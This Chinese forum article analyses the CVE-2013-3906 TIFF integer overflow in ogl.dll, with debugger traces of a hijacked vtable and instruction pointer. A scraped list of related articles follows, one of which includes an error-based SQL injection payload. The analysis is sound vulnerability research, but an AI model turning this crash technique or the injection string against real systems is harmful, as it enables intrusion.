对 0d12dcf8(dst+0x300) 处的地址下内存访问断点，可以看到命中OGL!GdipClonePath 内本文最前面的崩溃处前一句，此时虚表指针(eax)已被覆盖为 0x08080808，随后eip会被劫持到0x0808080c 处。

0:000> ba r4 0d12dcf8

0:000> g

Fri Apr 13 12:25:55.379 2018 (GMT+8): (edc.d8c): C++ EH exception - code e06d7363 (first chance)

Fri Apr 13 12:25:55.379 2018 (GMT+8): (edc.d8c): C++ EH exception - code e06d7363 (first chance)

Fri Apr 13 12:25:55.395 2018 (GMT+8): Breakpoint 2 hit

eax=08080808 ebx=002608a0 ecx=00260620 edx=00000000 esi=0d12dcf8 edi=0026070c

eip=67bbe174 esp=00260610 ebp=00260624 iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00200202

OGL!GdipClonePath+0x28:

67bbe174 8bce            mov    ecx,esi

0:000> u 67bbe174

OGL!GdipClonePath+0x28:

67bbe174 8bce            mov    ecx,esi

67bbe176 ff5004          call    dword ptr [eax+4]

67bbe179 85c0            test    eax,eax

67bbe17b 0f84beb11000    je      OGL!GdipPlayTSClientRecord+0x438 (67cc933f)

67bbe181 8d86dc000000    lea    eax,[esi+0DCh]

67bbe187 50              push    eax

67bbe188 8d4df4          lea    ecx,[ebp-0Ch]

67bbe18b e87374ffff      call    OGL!GdipCreateBitmapFromResource+0x74b (67bb5603)

0:000> p

eax=08080808 ebx=002608a0 ecx=0d12dcf8 edx=00000000 esi=0d12dcf8 edi=0026070c

eip=67bbe176 esp=00260610 ebp=00260624 iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00200202

OGL!GdipClonePath+0x2a:

67bbe176 ff5004          call    dword ptr [eax+4]    ds:0023:0808080c=????????


漏洞根本原因

通过进一步分析，样本为一个 Open XML docx 文档，里面嵌入了一张 tiff 格式的图片，winword.exe 在打开文档的时，会调用 ogl.dll 动态库解析 tiff 图片，导致了这个整数溢出漏洞。

tiff 是一种图像格式，它里面可以包含不同类型的图片格式，如下所示：

CVE-2013-3906漏洞分析_第8张图片

详细的结构如下：

CVE-2013-3906漏洞分析_第9张图片

tiff的tag分很多种，由一个具体的数字来标志当前tag的含义，这个漏洞中涉及到的tag及其对应的解释如下：

Compression(压缩标志字段)

Tag = 259 (103.H)

Type = SHORT

N = 1

This Field indicates the type of compression used. The new value is:

  6 = JPEG-------------------------------------------------------------------------------------JPEGInterchangeFormat(JPEG压缩数据头部)

Tag = 513 (201.H)

Type = LONG

N = 1

This Field indicates whether a JPEG interchange format bitstream is present in the

TIFF file. If a JPEG interchange format bitstream is present, then this Field points

to the Start of Image (SOI) marker code.

If this Field is zero or not present, a JPEG interchange format bitstream is not

present.-------------------------------------------------------------------------------------JPEGInterchangeFormatLength(JPEG压缩数据长度)

Tag = 514 (202.H)

Type = LONG

N = 1

This Field indicates the length in bytes of the JPEG interchange format bitstream.

This Field is useful for extracting the JPEG interchange format bitstream without

parsing the bitstream.

This Field is relevant only if the JPEGInterchangeFormat Field is present and is

non-zero.-------------------------------------------------------------------------------------StripOffsets(压缩条目偏移数组)

Tag = 273 (111.H)

Type = SHORT or LONG

For each strip, the byte offset of that strip.-------------------------------------------------------------------------------------StripByteCounts(压缩条目大小数组)

Tag = 279 (117.H)

Type = SHORT or LONG

For each strip, the number of bytes in that strip after any compression.

010 editor 自带一个tiff的解析模板：TIFTemplate.bt，用它可以清晰地看到tiff文件的布局：

CVE-2013-3906漏洞分析_第10张图片

在 cve_2013_3906_func 中，传入了一个大小为0x16c(第1参数)的对象，同时还传入了从JPEGInterchangeFormat Tag 中读入的数据(第2参数)和从 JPEGInterchangeFormatLength Tag 中读入的数据大小(第3参数)

0:000> dps 2b29ee90 l16c/4

2b29ee90  2cd5efe0

2b29ee94  00000000

2b29ee98  2b2a0565

2b29ee9c  2b2a0565

2b29eea0  00000000

2b29eea4  00004a9a

2b29eea8  677915f8 OGL!GdipCreateEffect+0x44b0

2b29eeac  67791626 OGL!GdipCreateEffect+0x44de

2b29eeb0  67791654 OGL!GdipCreateEffect+0x450c

...

2b29ef30  2a884ef0 // +0xa0 StripByteCounts.value[0]...

2b29ef7c  00000044 // +0xec StripByteCounts.count...

2b29eff0  00000000 // +0x160 AllocLen2b29eff4  00000000 // +0x164 AllocAddr2b29eff8  00000000

紧接着从对象的+0xec处获取StripByteCounts.count

再从对象的+0xa0处获取StripByteCounts.value[0]

然后在一个while循环对所有 0x44个value[x] 进行累加得到一个累计值

CVE-2013-3906漏洞分析_第11张图片

最后AllocLen = 累计值 + StripByteCounts.count*2 + JPEGInterchangeFormatLength + 8

整个计算过程的代码如下：

CVE-2013-3906漏洞分析_第12张图片

整个公式可描述如下：

ogl.dll没有对这个公式计算得到的长度做基本的数据校验，导致整数溢出。后面在解析特定对象(维一零在文章中说这个对象叫做GraphicsPath，但我调试时没有拿到符号，只能根据校验的Tag断定这是一个类似的结构。

此外，我看到《masTIFF - An in depth analysis of CVE-2013-3906.pptx》这篇文章的dps命令显示日志中有符号，暂不清楚作者是如何得到的)时，原本会调用该对象的一个虚函数进行Tag校验，但此时虚表的地址已被覆盖，从而劫持控制流到任意地方。这个漏洞的所有要点在 维一零的文章里已经写得很清晰了，本文只是对我自己有疑惑的一些地方进行了调试补充。

参考链接

《CVE-2013-3906（ms13-096）漏洞分析与利用》

《An Analyze Of CVE-2013-3906》

《masTIFF - An in depth analysis of CVE-2013-3906.pptx》

《tiff6.pdf》

《TIFF "Tag Image File Format"》

《关于CVE-2013-3906的八卦》

更多干货，请关注看雪学院 公众号ikanxue！

本文由看雪论坛 银雁冰 原创 转载请注明来自看雪社区

你可能感兴趣的:(CVE-2013-3906漏洞分析)

  • discuz discuz_admincp.php 讲解,Discuz! 1.5-2.5 命令执行漏洞分析(CVE-2018-14729) weixin_39740419 discuz讲解
    0x00漏洞简述漏洞信息8月27号有人在GitHub上公布了有关Discuz1.5-2.5版本中后台数据库备份功能存在的命令执行漏洞的细节。漏洞影响版本Discuz!1.5-2.50x01漏洞复现官方论坛下载相应版本就好。0x02漏洞分析需要注意的是这个漏洞其实是需要登录后台的，并且能有数据库备份权限，所以比较鸡肋。我这边是用Discuz!2.5完成漏洞复现的，并用此进行漏洞分析的。漏洞点在：so
  • FFmpeg任意文件读取漏洞分析 音视频开发老马 ffmpeg
    背景介绍FFmpeg是一套目前非常流行的可以用来记录、转换数字音频、视频，并能将其转化为流的开源计算机程序。它提供了录制、转换以及流化音视频的完整解决方案。目前有非常多的视音频软件或是视频网站、手机APP都采用了这个库，但是这个库历史上曝出的漏洞也非常之多。这次的漏洞是利用了ffmpeg可以处理HLS播放列表的功能，在AVI文件中的GAB2字幕块中嵌入了一个HLS文件，然后提供给ffmpeg进行转
  • 【Web】CTFSHOW java刷题记录(全) Z3r4y javactfshowstruts2strutsrcecveweb
    目录web279web280web281web282web283web284web285web286web287web288web289web290web291web292web293web294web295web296web297web298web299web300web279题目提示url里告诉我们是S2-001直接进行一个exp的搜S2-001漏洞分析-CSDN博客payload:%{#a=
  • Nacos系统历史CVE漏洞的复现分析与检测 Tr0e 漏洞分析Nacos漏洞
    文章目录前言CVE-2021-29441认证绕过1.1环境搭建与复现1.2漏洞源码的分析1.3修复方案被绕过1.4衍生的默认凭据QVD-2023-6271默认密钥2.1环境搭建与复现2.2漏洞修复与现状2.3CVE-2021-43116CNVD-2020-67618SQL注入3.1环境搭建与复现3.2漏洞分析与修复3.3Nacos漏洞ToolsCNVD-2023-45001反序列化4.1环境搭建与
  • 朋友圈投票活动-刷票案例实现与分析 Ragty_ 计算机网络
    1.声明本文只讨论技术范畴内的刷票行为。2.案例描述某商城（以下简称A商城）在微信平台上举办了一场在线投票活动，微信用户可通过活动链接访问到投票页面，对喜欢的作品进行投票；每个微信帐号每天只能给单个作品投1张选票3.漏洞分析表面上看，A商城已经对投票活动进行了反作弊处理，因为限制了每个微信用户每天只能投一张票。如果用户都是正常地通过微信访问这个投票服务进行投票的话，的确是能起到预期效果的。然而，如
  • 网安常用的三个攻击方式 Passion-优 网络安全红队
    1.渗透测试执行标准（PTES）渗透测试执行标准由7个部分组成，包括前期交互、情报收集、威胁建模、漏洞分析、渗透利用、后渗透、撰写报告。在中国，渗透测试必须经过授权，否则就违背了网络安全法。前期交互主要指开展渗透测试工作前，与客户进行沟通和交流，确定测试范围、目标、限制条件及相关要求，以及签订合同等，主要是前期的准备工作。情报收集主要指通过主动或被动方式收集渗透测试相关的信息，比如目标网络、端口、
  • 快看！比KaliLinux更炫酷的鹦鹉OS系统！！ 知攻善防实验室 网络安全渗透测试Web渗透黑客操作系统
    注本公众号，长期推送技术文章知攻善防实验室红蓝对抗，Web渗透测试，红队攻击，蓝队防守，内网渗透，漏洞分析，漏洞原理，开源工具，社工钓鱼，网络安全。79篇原创内容公众号免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！前言本期介绍的为parr
  • 帮管客 存在用户信息泄露-漏洞复现-附EXP 知攻善防实验室 漏洞复现信息安全网络安全
    注本公众号，长期推送技术文章知攻善防实验室红蓝对抗，Web渗透测试，红队攻击，蓝队防守，内网渗透，漏洞分析，漏洞原理，开源工具，社工钓鱼，网络安全。78篇原创内容公众号免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！前言帮管客是一款基于移动
  • N1CTF奖品一个月的ZoomEye账户使用与子域名收集（网络渗透测） Stitch . CTF我的大学笔记网络
    首页-网络空间测绘,网络安全,漏洞分析,动态测绘,钟馗之眼,时空测绘,赛博测绘-ZoomEye("钟馗之眼")网络空间搜索引擎https://www.zoomeye.org/ZoomEye-CyberspaceSearchEnginehttps://www.zoomeye.org/aboutZoomEye（“钟馗之眼”）是知道创宇旗下404实验室驱动打造的网络空间搜索引擎。通过分布在全球的大量测绘
  • EasyCVR 视频管理平台存在用户信息泄露[附批量POC] 知攻善防实验室 安全漏洞复现网络安全渗透测试Web渗透
    关注本公众号，长期推送技术文章知攻善防实验室红蓝对抗，Web渗透测试，红队攻击，蓝队防守，内网渗透，漏洞分析，漏洞原理，开源工具，社工钓鱼，网络安全。78篇原创内容公众号免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！简介EasyCVR智能
  • 人手必备的 逆向分析专用虚拟机！ 知攻善防实验室 安全虚拟机二进制安全逆向分析pwn逆向逆向分析安全
    关注本公众号，长期推送技术文章知攻善防实验室红蓝对抗，Web渗透测试，红队攻击，蓝队防守，内网渗透，漏洞分析，漏洞原理，开源工具，社工钓鱼，网络安全。76篇原创内容公众号免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！前言直接看一眼效果这个
  • 【揭秘家用路由器0day】漏洞分析环境搭建 - binwalk zephyrOOO 路由器安全安全linux
    操作系统环境信息请查看第一篇文章【揭秘家用路由器0day】Wine+IDA环境搭建apt安装binwalkbinwalk可以直接通过apt安装：sudoaptinstallbuild-essentialautoconfgitsudoaptinstallbinwalk安装固件提取组件但是装完之后没有办法正确分析书中自带的firmware程序，因此重新安装一遍书中提到的固件提取组件sudoapt-ge
  • Apktool任意文件写入漏洞分析 CVE-2024-21633 INSBUG 漏洞分享代码审计和安全渗透安全网络安全
    前置知识在复现该漏洞前，有必要了解Apktool和resources.arsc相关的基础知识，方便理解后续POC的构造。Apktool是一款流行的开源逆向工程软件，用于反编译和编译Android应用，因此，Apktool被许多其他逆向工程软件集成。官网地址：https://apktool.org/项目地址：https://github.com/iBotPeaches/Apktool该工具可以将An
  • Chrome 沙箱逃逸 -- Plaid CTF 2020 mojo XiaozaYa V8chromemojo沙箱逃逸
    文章目录前置知识参考文章环境搭建题目环境调试环境题目分析附件分析漏洞分析OOBUAF漏洞利用总结前置知识Mojo&Services简介chromiummojo快速入门MojodocsIntrotoMojo&Services译文：利用MojoIPC的UAF漏洞实现Chrome浏览器沙箱逃逸原文：CleanlyEscapingtheChromeSandbox参考文章本文主要参考PlaidCTF2020
  • SQL注入讲解-BeesCMS系统漏洞分析溯源 Ryongao sql数据库网络安全
    判断网页框架渗透思路以前的思路1.首先识别一下指纹根据指纹查找历史漏洞(同样适用现在)2.查找目录(目录里面会有很多惊喜)通过御剑后台扫描工具找到文件夹后在网页打开文件夹进行测试通过百度搜索查看历史漏洞查看源代码发现它对账号和密码只有二个加密我们通过burp来查看它有sql漏洞爆库-123%27ananddextractvalue(1,concat(0x7e,database()))%23anan
  • Apache Log4j2 远程代码执行漏洞分析+检测+防护 306Safe apache安全log4j2
    分析：ApacheLog4j2是一款开源的Java日志框架，被广泛地应用在中间件、开发框架与Web应用中，用来记录日志信息。由于ApacheLog4j2某些功能存在递归解析功能，未经身份验证的攻击者通过发送特别构造的数据请求包，可在目标服务器上执行任意代码。漏洞PoC已在网上公开，默认配置即可进行利用，该漏洞影响范围极广，建议相关用户尽快采取措施进行排查与防护。根据Iog4j的用途和复现的情况来看
  • ESXi 勒索病毒ESXiArgs 其 CVE-2021-21974 漏洞分析 Songxwn VMware网络安全服务器
    个人博客https://songxwn.com介绍该漏洞编号为CVE-2021-21974，由OpenSLP服务中的堆溢出问题引起，未经身份验证的攻击者可以此进行低复杂度攻击。该漏洞主要影响6.x版和6.7、7.0版本之前的ESXi管理程序，2021年2月23日，VMware曾发布补丁修复了该漏洞。（在此之后发布的版本不影响）该漏洞启动之后，主要破坏行为为停止所有虚拟机，并加密所有数据文件。具体影
  • ThinkPHP 3.1中的SQL注入漏洞分析----论ThinkPHP 3.1中的半吊子的PDO封装 ww122081351 php服务器iissql注入漏洞pdothinkphp
    我总结ThinkPHP的PDO封装可以用买椟还珠来下结论，表面上封装了PDO支持，但实际却并没有使用到PDO的精髓部分，这不是买椟还珠是什么呢？花了一些时间了解到ThinkPHP3.1框架，其官方网站上对其描述得相当不错，但随着我阅读其代码，事实并不是想象的那么好，特别是PDO封装这一部分，处理得相当糟糕，远不如使用原生态的PDO安全,只是简单地使用addslashes处理用户提交的数据，并没有使
  • ThinkPHP 3.1中的SQL注入漏洞分析---论ThinkPHP 3.1中的半吊子的PDO封装 weixin_34315189 php数据库python
    2019独角兽企业重金招聘Python工程师标准>>>ThinkPHP3.1中的SQL注入漏洞分析----论ThinkPHP3.1中的半吊子的PDO封装我总结ThinkPHP的PDO封装可以用买椟还珠来下结论，表面上封装了PDO支持，但实际却并没有使用到PDO的精髓部分，这不是买椟还珠是什么呢？花了一些时间了解到ThinkPHP3.1框架，其官方网站上对其描述得相当不错，但随着我阅读其代码，事实并
  • thinkphp防止mysql注入_如何使用PDO查询Mysql来避免SQL注入风险？ThinkPHP 3.1中的SQL注入漏洞分析！... 因特耐特王
    当我们使用传统的mysql_connect、mysql_query方法来连接查询数据库时，如果过滤不严，就有SQL注入风险，导致网站被攻击，失去控制。虽然可以用mysql_real_escape_string()函数过滤用户提交的值，但是也有缺陷。而使用PHP的PDO扩展的prepare方法，就可以避免sqlinjection风险。PDO(PHPDataObject)是PHP5新加入的一个重大功能
  • BUUCTF-Real-[ThinkPHP]IN SQL INJECTION 真的学不了一点。。。 漏洞复现与研究网络安全
    目录漏洞描述漏洞分析漏洞复现漏洞描述漏洞发现时间：2018-09-04CVE参考：CVE-2018-16385最高严重级别：低风险受影响的系统：ThinkPHPwhere($data)->order($order)->find();dump($m);}}漏洞原因是处理orderby参数时，如果参数用户是可控的，当参数为数组keyvalue时，未正确过滤处理数组的key值，就会导致漏洞的产生。首先定
  • 权威认可！海云安喜获CAPPVD漏洞库感谢信 海云安 海云安安全网络web安全
    近日，工业和信息化部移动互联网APP产品安全漏洞专业库（以下简称“CAPPVD漏洞库”）向海云安发来感谢信，这是对海云安参与移动互联网APP产品安全漏洞管理系列工作的高度认可与感谢，并期望在下一年共同携手支撑国家网络产品安全漏洞管理工作。作为工信部CAPPVD漏洞库三星支撑单位代表，海云安积极完成重要漏洞信息报送、原创漏洞报送、漏洞发现、漏洞分析、漏洞挖掘等各项支撑工作。海云安两度蝉联“2023年
  • CVE-2024-23897：Jenkins文件读取漏洞复现分析 [附POC] gaynell 漏洞复现jenkinsservlet安全系统安全网络安全web安全
    文章目录CVE-2024-23897Jenkins文件读取漏洞复现分析[附POC]0x01前言0x02漏洞描述0x03影响版本0x04漏洞环境搭建0x05漏洞复现1.访问漏洞环境2.执行POC3.复现0x06漏洞分析1.获取源码2.解压并使用IDEA打开0x07修复建议0x08总结
  • 渗透测试-JavaScript 利器整理 知攻善防实验室 javascript开发语言ecmascript
    关注本公众号，长期推送技术文章知攻善防实验室红蓝对抗，Web渗透测试，红队攻击，蓝队防守，内网渗透，漏洞分析，漏洞原理，开源工具，社工钓鱼，网络安全。73篇原创内容公众号免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！渗透测试-JavaSc
  • 爆改自用免杀2.0-绕过主流杀软机制 知攻善防实验室 安全免杀Shellcode渗透测试网络安全免杀
    关注本公众号，长期推送漏洞文章知攻善防实验室红蓝对抗，Web渗透测试，红队攻击，蓝队防守，内网渗透，漏洞分析，漏洞原理，开源工具，社工钓鱼，网络安全。74篇原创内容公众号免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！文章开头，上次写的免杀
  • SRC挖洞骚思路整理 知攻善防实验室 安全web安全网络安全威胁分析网络安全
    关注本公众号，长期推送漏洞文章知攻善防实验室红蓝对抗，Web渗透测试，红队攻击，蓝队防守，内网渗透，漏洞分析，漏洞原理，开源工具，社工钓鱼，网络安全。73篇原创内容公众号免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！/SRC漏洞挖掘思路/
  • EasyCVR 视频管理平台存在用户信息泄露[附批量POC] 知攻善防实验室 安全
    关注本公众号，长期推送技术文章知攻善防实验室红蓝对抗，Web渗透测试，红队攻击，蓝队防守，内网渗透，漏洞分析，漏洞原理，开源工具，社工钓鱼，网络安全。73篇原创内容公众号免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！简介EasyCVR智能
  • 记一次“微信交流群“内免杀木马分析以及溯源 知攻善防实验室 web安全安全威胁分析网络安全安全架构安全
    关注本公众号，长期推送技术文章知攻善防实验室红蓝对抗，Web渗透测试，红队攻击，蓝队防守，内网渗透，漏洞分析，漏洞原理，开源工具，社工钓鱼，网络安全。73篇原创内容公众号免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！反编译得到源码拿到文件
  • [网络安全学习篇附]：Web 安全学习路线 白面安全猿
    TableofContentsWeb安全学习路线熟悉Windows/kaliLinux系统服务器安全配置脚本编程学习熟悉Web相关的概念熟悉渗透相关的工具渗透实战操作关注安全圈动态源码审计与漏洞分析安全体系设计与开发Web安全学习路线熟悉Windows/kaliLinux系统学习Windows/Linux基本命令、常用工具熟悉Windows下cms命令，如ipconfig、nslookup、tra
  • 网络安全检测技术 Python_P叔 web安全安全网络
    一，网络安全漏洞安全威胁是指所有能够对计算机网络信息系统的网络服务和网络信息的机密性，可用性和完整性产生阻碍，破坏或中断的各种因素。安全威胁可分为人为安全威胁和非人为安全威胁两大类。1，网络安全漏洞威胁漏洞分析的目的是发现目标系统中存在的安全隐患，分析使用的安全机制是否能够保证系统的机密性，完整性和可用性。漏洞分析通过对评估目标进行穿透测试，进而尝试从中获取一些有价值的信息。穿透测试可分为两类：无
  • SAX解析xml文件 小猪猪08 xml
    1.创建SAXParserFactory实例 2.通过SAXParserFactory对象获取SAXParser实例 3.创建一个类SAXParserHander继续DefaultHandler，并且实例化这个类 4.SAXParser实例的parse来获取文件     public static void main(String[] args) { //
  • 为什么mysql里的ibdata1文件不断的增长？ brotherlamp linuxlinux运维linux资料linux视频linux运维自学
    我们在 Percona 支持栏目经常收到关于 MySQL 的 ibdata1 文件的这个问题。 当监控服务器发送一个关于 MySQL 服务器存储的报警时，恐慌就开始了 —— 就是说磁盘快要满了。 一番调查后你意识到大多数地盘空间被 InnoDB 的共享表空间 ibdata1 使用。而你已经启用了 innodbfileper_table，所以问题是： ibdata1存了什么？ 当你启用了 i
  • Quartz-quartz.properties配置 eksliang quartz
    其实Quartz JAR文件的org.quartz包下就包含了一个quartz.properties属性配置文件并提供了默认设置。如果需要调整默认配置，可以在类路径下建立一个新的quartz.properties，它将自动被Quartz加载并覆盖默认的设置。   下面是这些默认值的解释 #-----集群的配置 org.quartz.scheduler.instanceName =
  • informatica session的使用 18289753290 workflowsessionlogInformatica
    如果希望workflow存储最近20次的log，在session里的Config  Object设置，log  options做配置，save  session log :sessions  run  ;savesessio log for  these runs:20 session下面的source 里面有个tracing 
  • Scrapy抓取网页时出现CRC check failed 0x471e6e9a != 0x7c07b839L的错误 酷的飞上天空 scrapy
    Scrapy版本0.14.4 出现问题现象： ERROR: Error downloading <GET http://xxxxx  CRC check failed   解决方法   1.设置网络请求时的header中的属性'Accept-Encoding': '*;q=0'   明确表示不支持任何形式的压缩格式，避免程序的解压
  • java Swing小集锦 永夜-极光 java swing
    1.关闭窗体弹出确认对话框   1.1   this.setDefaultCloseOperation (JFrame.DO_NOTHING_ON_CLOSE);   1.2   this.addWindowListener ( new WindowAdapter () { public void windo
  • 强制删除.svn文件夹 随便小屋 java
              在windows上，从别处复制的项目中可能带有.svn文件夹，手动删除太麻烦，并且每个文件夹下都有。所以写了个程序进行删除。因为.svn文件夹在windows上是只读的，所以用File中的delete()和deleteOnExist()方法都不能将其删除，所以只能采用windows命令方式进行删除
  • GET和POST有什么区别？及为什么网上的多数答案都是错的。 aijuans get post
        如果有人问你，GET和POST，有什么区别？你会如何回答？ 我的经历      前几天有人问我这个问题。我说GET是用于获取数据的，POST，一般用于将数据发给服务器之用。     这个答案好像并不是他想要的。于是他继续追问有没有别的区别？我说这就是个名字而已，如果服务器支持，他完全可以把G
  • 谈谈新浪微博背后的那些算法 aoyouzi 谈谈新浪微博背后的那些算法
    本文对微博中常见的问题的对应算法进行了简单的介绍，在实际应用中的算法比介绍的要复杂的多。当然，本文覆盖的主题并不全，比如好友推荐、热点跟踪等就没有涉及到。但古人云“窥一斑而见全豹”，希望本文的介绍能帮助大家更好的理解微博这样的社交网络应用。 微博是一个很多人都在用的社交应用。天天刷微博的人每天都会进行着这样几个操作：原创、转发、回复、阅读、关注、@等。其中，前四个是针对短博文，最后的关注和@则针
  • Connection reset 连接被重置的解决方法 百合不是茶 java字符流连接被重置
    流是java的核心部分,,昨天在做android服务器连接服务器的时候出了问题,就将代码放到java中执行,结果还是一样连接被重置   被重置的代码如下;   客户端代码; package 通信软件服务器; import java.io.BufferedWriter; import java.io.OutputStream; import java.io.O
  • web.xml配置详解之filter bijian1013 javaweb.xmlfilter
    一.定义 <filter> <filter-name>encodingfilter</filter-name> <filter-class>com.my.app.EncodingFilter</filter-class> <init-param> <param-name>encoding<
  • Heritrix Bill_chen 多线程xml算法制造配置管理
    作为纯Java语言开发的、功能强大的网络爬虫Heritrix，其功能极其强大，且扩展性良好，深受热爱搜索技术的盆友们的喜爱，但它配置较为复杂，且源码不好理解，最近又使劲看了下，结合自己的学习和理解，跟大家分享Heritrix的点点滴滴。 Heritrix的下载（http://sourceforge.net/projects/archive-crawler/）安装、配置，就不罗嗦了，可以自己找找资
  • 【Zookeeper】FAQ bit1129 zookeeper
    1.脱离IDE，运行简单的Java客户端程序 #ZkClient是简单的Zookeeper~$ java -cp "./:zookeeper-3.4.6.jar:./lib/*" ZKClient    1. Zookeeper是的Watcher回调是同步操作，需要添加异步处理的代码 2. 如果Zookeeper集群跨越多个机房，那么Leader/
  • The user specified as a definer ('aaa'@'localhost') does not exist 白糖_ localhost
    今天遇到一个客户BUG，当前的jdbc连接用户是root，然后部分删除操作都会报下面这个错误：The user specified as a definer ('aaa'@'localhost') does not exist 最后找原因发现删除操作做了触发器，而触发器里面有这样一句 /*!50017 DEFINER = ''aaa@'localhost' */  原来最初
  • javascript中showModelDialog刷新父页面 bozch JavaScript刷新父页面showModalDialog
    在页面中使用showModalDialog打开模式子页面窗口的时候，如果想在子页面中操作父页面中的某个节点，可以通过如下的进行：       window.showModalDialog('url',self,‘status...’); // 首先中间参数使用self       在子页面使用w
  • 编程之美-买书折扣 bylijinnan 编程之美
    import java.util.Arrays; public class BookDiscount { /**编程之美 买书折扣 书上的贪心算法的分析很有意思，我看了半天看不懂，结果作者说，贪心算法在这个问题上是不适用的。。 下面用动态规划实现。 哈利波特这本书一共有五卷，每卷都是8欧元，如果读者一次购买不同的两卷可扣除5%的折扣，三卷10%，四卷20%，五卷
  • 关于struts2.3.4项目跨站执行脚本以及远程执行漏洞修复概要 chenbowen00 strutsWEB安全
    因为近期负责的几个银行系统软件，需要交付客户，因此客户专门请了安全公司对系统进行了安全评测，结果发现了诸如跨站执行脚本，远程执行漏洞以及弱口令等问题。 下面记录下本次解决的过程以便后续 1、首先从最简单的开始处理，服务器的弱口令问题，首先根据安全工具提供的测试描述中发现应用服务器中存在一个匿名用户，默认是不需要密码的，经过分析发现服务器使用了FTP协议， 而使用ftp协议默认会产生一个匿名用
  • [电力与暖气]煤炭燃烧与电力加温 comsci
          在宇宙中,用贝塔射线观测地球某个部分,看上去,好像一个个马蜂窝,又像珊瑚礁一样,原来是某个国家的采煤区.....       不过,这个采煤区的煤炭看来是要用完了.....那么依赖将起燃烧并取暖的城市,在极度严寒的季节中...该怎么办呢?   &nbs
  • oracle O7_DICTIONARY_ACCESSIBILITY参数 daizj oracle
    O7_DICTIONARY_ACCESSIBILITY参数控制对数据字典的访问.设置为true,如果用户被授予了如select any table等any table权限,用户即使不是dba或sysdba用户也可以访问数据字典.在9i及以上版本默认为false,8i及以前版本默认为true.如果设置为true就可能会带来安全上的一些问题.这也就为什么O7_DICTIONARY_ACCESSIBIL
  • 比较全面的MySQL优化参考 dengkane mysql
    本文整理了一些MySQL的通用优化方法，做个简单的总结分享，旨在帮助那些没有专职MySQL DBA的企业做好基本的优化工作，至于具体的SQL优化，大部分通过加适当的索引即可达到效果，更复杂的就需要具体分析了，可以参考本站的一些优化案例或者联系我，下方有我的联系方式。这是上篇。   1、硬件层相关优化   1.1、CPU相关   在服务器的BIOS设置中，可
  • C语言homework2，有一个逆序打印数字的小算法 dcj3sjt126com c
    #h1#   0、完成课堂例子 1、将一个四位数逆序打印 1234 ==> 4321 实现方法一： # include <stdio.h> int main(void) { int i = 1234; int one = i%10; int two = i / 10 % 10; int three = i / 100 % 10;
  • apacheBench对网站进行压力测试 dcj3sjt126com apachebench
       ab 的全称是 ApacheBench ， 是 Apache 附带的一个小工具 ， 专门用于 HTTP Server 的 benchmark testing ， 可以同时模拟多个并发请求。前段时间看到公司的开发人员也在用它作一些测试，看起来也不错，很简单，也很容易使用，所以今天花一点时间看了一下。 通过下面的一个简单的例子和注释，相信大家可以更容易理解这个工具的使用。
  • 2种办法让HashMap线程安全 flyfoxs javajdkjni
    多线程之--2种办法让HashMap线程安全 多线程之--synchronized 和reentrantlock的优缺点 多线程之--2种JAVA乐观锁的比较( NonfairSync VS. FairSync)     HashMap不是线程安全的,往往在写程序时需要通过一些方法来回避.其实JDK原生的提供了2种方法让HashMap支持线程安全.  
  • Spring Security（04）——认证简介 234390216 Spring Security认证过程
    认证简介 目录 1.1     认证过程 1.2     Web应用的认证过程 1.2.1    ExceptionTranslationFilter 1.2.2    在request之间共享SecurityContext   1
  • Java 位运算 Javahuhui java位运算
    // 左移( << ) 低位补0 // 0000 0000 0000 0000 0000 0000 0000 0110 然后左移2位后，低位补0： // 0000 0000 0000 0000 0000 0000 0001 1000 System.out.println(6 << 2);// 运行结果是24 // 右移( >> ) 高位补"
  • mysql免安装版配置 ldzyz007 mysql
    1、my-small.ini是为了小型数据库而设计的。不应该把这个模型用于含有一些常用项目的数据库。 2、my-medium.ini是为中等规模的数据库而设计的。如果你正在企业中使用RHEL,可能会比这个操作系统的最小RAM需求(256MB)明显多得多的物理内存。由此可见，如果有那么多RAM内存可以使用，自然可以在同一台机器上运行其它服务。 3、my-large.ini是为专用于一个SQL数据
  • MFC和ado数据库使用时遇到的问题 你不认识的休道人 sqlC++mfc
    =================================================================== 第一个 =================================================================== try{ CString sql; sql.Format("select * from p
  • 表单重复提交Double Submits rensanning double
    可能发生的场景： *多次点击提交按钮 *刷新页面 *点击浏览器回退按钮 *直接访问收藏夹中的地址 *重复发送HTTP请求（Ajax） （1）点击按钮后disable该按钮一会儿，这样能避免急躁的用户频繁点击按钮。 这种方法确实有些粗暴，友好一点的可以把按钮的文字变一下做个提示，比如Bootstrap的做法： http://getbootstrap.co
  • Java String 十大常见问题 tomcat_oracle java正则表达式
